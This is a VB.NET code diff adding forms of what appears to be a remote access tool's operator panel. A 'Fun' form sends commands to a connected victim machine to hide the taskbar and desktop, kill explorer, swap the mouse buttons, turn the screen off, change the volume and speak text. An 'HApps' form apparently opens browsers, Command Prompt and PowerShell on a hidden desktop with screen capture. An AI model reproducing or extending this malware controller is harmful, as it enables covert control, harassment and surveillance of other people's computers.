Guna2GradientButton17.Location = New System.Drawing.Point(212, 151)
|
||||
Guna2GradientButton17.Name = "Guna2GradientButton17"
|
||||
Guna2GradientButton17.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton17.TabIndex = 87
|
||||
Guna2GradientButton17.Text = "Hide"
|
||||
'
|
||||
'Guna2GradientButton18
|
||||
'
|
||||
Guna2GradientButton18.BorderRadius = 4
|
||||
Guna2GradientButton18.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton18.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton18.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton18.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton18.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton18.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton18.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton18.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton18.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton18.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton18.Location = New System.Drawing.Point(212, 122)
|
||||
Guna2GradientButton18.Name = "Guna2GradientButton18"
|
||||
Guna2GradientButton18.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton18.TabIndex = 86
|
||||
Guna2GradientButton18.Text = "Show"
|
||||
'
|
||||
'Guna2GradientButton20
|
||||
'
|
||||
Guna2GradientButton20.BorderRadius = 4
|
||||
Guna2GradientButton20.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton20.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton20.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton20.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton20.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton20.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton20.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton20.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton20.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton20.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton20.Location = New System.Drawing.Point(115, 205)
|
||||
Guna2GradientButton20.Name = "Guna2GradientButton20"
|
||||
Guna2GradientButton20.Size = New System.Drawing.Size(31, 21)
|
||||
Guna2GradientButton20.TabIndex = 88
|
||||
Guna2GradientButton20.Text = "+"
|
||||
'
|
||||
'Guna2GradientButton19
|
||||
'
|
||||
Guna2GradientButton19.BorderRadius = 4
|
||||
Guna2GradientButton19.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton19.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton19.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton19.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton19.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton19.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton19.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton19.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton19.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton19.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton19.Location = New System.Drawing.Point(163, 205)
|
||||
Guna2GradientButton19.Name = "Guna2GradientButton19"
|
||||
Guna2GradientButton19.Size = New System.Drawing.Size(31, 21)
|
||||
Guna2GradientButton19.TabIndex = 89
|
||||
Guna2GradientButton19.Text = "-"
|
||||
'
|
||||
'Guna2GradientButton21
|
||||
'
|
||||
Guna2GradientButton21.BorderRadius = 4
|
||||
Guna2GradientButton21.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton21.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton21.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton21.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton21.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton21.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton21.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton21.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton21.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton21.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton21.Location = New System.Drawing.Point(115, 234)
|
||||
Guna2GradientButton21.Name = "Guna2GradientButton21"
|
||||
Guna2GradientButton21.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton21.TabIndex = 90
|
||||
Guna2GradientButton21.Text = "MUTE"
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox1.BorderRadius = 3
|
||||
Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox1.DefaultText = "Hello World"
|
||||
Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Location = New System.Drawing.Point(212, 205)
|
||||
Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.PlaceholderText = ""
|
||||
Guna2TextBox1.SelectedText = ""
|
||||
Guna2TextBox1.Size = New System.Drawing.Size(188, 21)
|
||||
Guna2TextBox1.TabIndex = 99
|
||||
'
|
||||
'Guna2GradientButton22
|
||||
'
|
||||
Guna2GradientButton22.BorderRadius = 4
|
||||
Guna2GradientButton22.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton22.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton22.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton22.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton22.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton22.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton22.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton22.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton22.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton22.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton22.Location = New System.Drawing.Point(212, 234)
|
||||
Guna2GradientButton22.Name = "Guna2GradientButton22"
|
||||
Guna2GradientButton22.Size = New System.Drawing.Size(188, 21)
|
||||
Guna2GradientButton22.TabIndex = 100
|
||||
Guna2GradientButton22.Text = "Speak"
|
||||
'
|
||||
'Fun
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(409, 277)
|
||||
Controls.Add(Guna2GradientButton22)
|
||||
Controls.Add(Guna2TextBox1)
|
||||
Controls.Add(Guna2GradientButton21)
|
||||
Controls.Add(Guna2GradientButton19)
|
||||
Controls.Add(Guna2GradientButton20)
|
||||
Controls.Add(Guna2GradientButton17)
|
||||
Controls.Add(Guna2GradientButton18)
|
||||
Controls.Add(Guna2GradientButton15)
|
||||
Controls.Add(Guna2GradientButton16)
|
||||
Controls.Add(Label12)
|
||||
Controls.Add(Guna2GradientButton13)
|
||||
Controls.Add(Guna2GradientButton14)
|
||||
Controls.Add(Guna2GradientButton11)
|
||||
Controls.Add(Guna2GradientButton12)
|
||||
Controls.Add(Guna2GradientButton9)
|
||||
Controls.Add(Guna2GradientButton10)
|
||||
Controls.Add(Guna2GradientButton7)
|
||||
Controls.Add(Guna2GradientButton8)
|
||||
Controls.Add(Guna2GradientButton5)
|
||||
Controls.Add(Guna2GradientButton6)
|
||||
Controls.Add(Guna2GradientButton3)
|
||||
Controls.Add(Guna2GradientButton4)
|
||||
Controls.Add(Guna2GradientButton2)
|
||||
Controls.Add(Guna2GradientButton1)
|
||||
Controls.Add(Label11)
|
||||
Controls.Add(Label10)
|
||||
Controls.Add(Label9)
|
||||
Controls.Add(Label8)
|
||||
Controls.Add(Label6)
|
||||
Controls.Add(Label5)
|
||||
Controls.Add(Label4)
|
||||
Controls.Add(Label3)
|
||||
Controls.Add(Label2)
|
||||
Controls.Add(Label1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "Fun"
|
||||
Text = "Pastime"
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents Label11 As Label
|
||||
Friend WithEvents Label10 As Label
|
||||
Friend WithEvents Label9 As Label
|
||||
Friend WithEvents Label8 As Label
|
||||
Friend WithEvents Label6 As Label
|
||||
Friend WithEvents Label5 As Label
|
||||
Friend WithEvents Label4 As Label
|
||||
Friend WithEvents Label3 As Label
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton2 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton3 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton4 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton5 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton6 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton7 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton8 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton9 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton10 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton11 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton12 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton13 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton14 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton15 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton16 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Label12 As Label
|
||||
Friend WithEvents Guna2GradientButton17 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton18 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton20 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton19 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton21 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2GradientButton22 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,111 @@
|
||||
Imports System.Threading
|
||||
Public Class Fun
|
||||
|
||||
Public C As Client
|
||||
Private Sub Fun_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
SendF("ClFun")
|
||||
End Sub
|
||||
Public Function SendF(ByVal MSG As String)
|
||||
Dim B As Byte() = SB(MSG)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Function
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
SendF("openCD")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
|
||||
SendF("closeCD")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton4_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton4.Click
|
||||
SendF("TaskShow")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton3_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton3.Click
|
||||
SendF("Taskhide")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton6_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton6.Click
|
||||
SendF("showstart")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton5_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton5.Click
|
||||
SendF("hidestart")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton8_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton8.Click
|
||||
SendF("KillEXP")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton7_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton7.Click
|
||||
SendF("STEXP")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton10_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton10.Click
|
||||
SendF("showDESK")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton9_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton9.Click
|
||||
SendF("hideDESK")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton12_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton12.Click
|
||||
SendF("SWMouseD")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton11_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton11.Click
|
||||
SendF("SWMouseE")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton14_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton14.Click
|
||||
SendF("ScreenON")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton13_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton13.Click
|
||||
SendF("ScreenOFF")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton16_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton16.Click
|
||||
SendF("showClock")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton15_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton15.Click
|
||||
SendF("hideClock")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton18_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton18.Click
|
||||
SendF("showTray")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton17_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton17.Click
|
||||
SendF("hideTray")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton20_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton20.Click
|
||||
SendF("VUP")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton19_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton19.Click
|
||||
SendF("VDWM")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton21_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton21.Click
|
||||
SendF("VMUT")
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton22_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton22.Click
|
||||
Dim B As Byte() = SB("speak" & SettingsHelper.SPL & Guna2TextBox1.Text.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+494
@@ -0,0 +1,494 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class HApps
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(HApps))
|
||||
Panel2 = New System.Windows.Forms.Panel()
|
||||
Guna2GradientButton5 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2ComboBox1 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Label2 = New System.Windows.Forms.Label()
|
||||
Panel1 = New System.Windows.Forms.Panel()
|
||||
Label15 = New System.Windows.Forms.Label()
|
||||
Guna2ToggleSwitch2 = New Guna.UI2.WinForms.Guna2ToggleSwitch()
|
||||
Guna2Panel1 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2Panel3 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2Panel2 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
ListView1 = New System.Windows.Forms.ListView()
|
||||
ColumnHeader3 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
ColumnHeader4 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
Guna2ContextMenuStrip1 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
GetScreenToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
RefreshToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
BrowserToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
MicrosoftEdgeToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ChromeToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
FireFoxToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
BraveToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ApplactionsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
CommandPromptToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
PowerShellToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
CustomOpenToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
WindowToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
RestoreToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
RestartToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
CloseToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ImageList1 = New System.Windows.Forms.ImageList(components)
|
||||
PictureBox1 = New System.Windows.Forms.PictureBox()
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel2 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
Panel2.SuspendLayout()
|
||||
Panel1.SuspendLayout()
|
||||
Guna2Panel1.SuspendLayout()
|
||||
Guna2ContextMenuStrip1.SuspendLayout()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
StatusStrip1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'Panel2
|
||||
'
|
||||
Panel2.Controls.Add(Guna2GradientButton5)
|
||||
Panel2.Controls.Add(Guna2ComboBox1)
|
||||
Panel2.Controls.Add(Label2)
|
||||
Panel2.Controls.Add(Panel1)
|
||||
Panel2.Controls.Add(Guna2Panel1)
|
||||
Panel2.Controls.Add(Guna2Panel3)
|
||||
Panel2.Controls.Add(Guna2Panel2)
|
||||
Panel2.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Panel2.Location = New System.Drawing.Point(0, 0)
|
||||
Panel2.Name = "Panel2"
|
||||
Panel2.Size = New System.Drawing.Size(629, 59)
|
||||
Panel2.TabIndex = 31
|
||||
'
|
||||
'Guna2GradientButton5
|
||||
'
|
||||
Guna2GradientButton5.BorderRadius = 3
|
||||
Guna2GradientButton5.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton5.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton5.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton5.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton5.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton5.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton5.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton5.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton5.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton5.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton5.Location = New System.Drawing.Point(253, 29)
|
||||
Guna2GradientButton5.Name = "Guna2GradientButton5"
|
||||
Guna2GradientButton5.Size = New System.Drawing.Size(75, 21)
|
||||
Guna2GradientButton5.TabIndex = 82
|
||||
Guna2GradientButton5.Text = "Paste"
|
||||
'
|
||||
'Guna2ComboBox1
|
||||
'
|
||||
Guna2ComboBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.BorderRadius = 3
|
||||
Guna2ComboBox1.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox1.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Guna2ComboBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox1.ItemHeight = 15
|
||||
Guna2ComboBox1.Items.AddRange(New Object() {"10%", "20%", "30%", "40%", "50%", "60%", "70%", "80%", "90%", "100%"})
|
||||
Guna2ComboBox1.Location = New System.Drawing.Point(140, 29)
|
||||
Guna2ComboBox1.Name = "Guna2ComboBox1"
|
||||
Guna2ComboBox1.Size = New System.Drawing.Size(107, 21)
|
||||
Guna2ComboBox1.TabIndex = 28
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Label2.AutoSize = True
|
||||
Label2.ForeColor = System.Drawing.Color.Black
|
||||
Label2.Location = New System.Drawing.Point(86, 33)
|
||||
Label2.Name = "Label2"
|
||||
Label2.Size = New System.Drawing.Size(48, 13)
|
||||
Label2.TabIndex = 12
|
||||
Label2.Text = "Quality :"
|
||||
'
|
||||
'Panel1
|
||||
'
|
||||
Panel1.Controls.Add(Label15)
|
||||
Panel1.Controls.Add(Guna2ToggleSwitch2)
|
||||
Panel1.Dock = System.Windows.Forms.DockStyle.Right
|
||||
Panel1.Location = New System.Drawing.Point(437, 21)
|
||||
Panel1.Name = "Panel1"
|
||||
Panel1.Size = New System.Drawing.Size(123, 38)
|
||||
Panel1.TabIndex = 81
|
||||
'
|
||||
'Label15
|
||||
'
|
||||
Label15.AutoSize = True
|
||||
Label15.Location = New System.Drawing.Point(58, 12)
|
||||
Label15.Name = "Label15"
|
||||
Label15.Size = New System.Drawing.Size(52, 13)
|
||||
Label15.TabIndex = 79
|
||||
Label15.Text = "[ Resize ]"
|
||||
'
|
||||
'Guna2ToggleSwitch2
|
||||
'
|
||||
Guna2ToggleSwitch2.Checked = True
|
||||
Guna2ToggleSwitch2.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
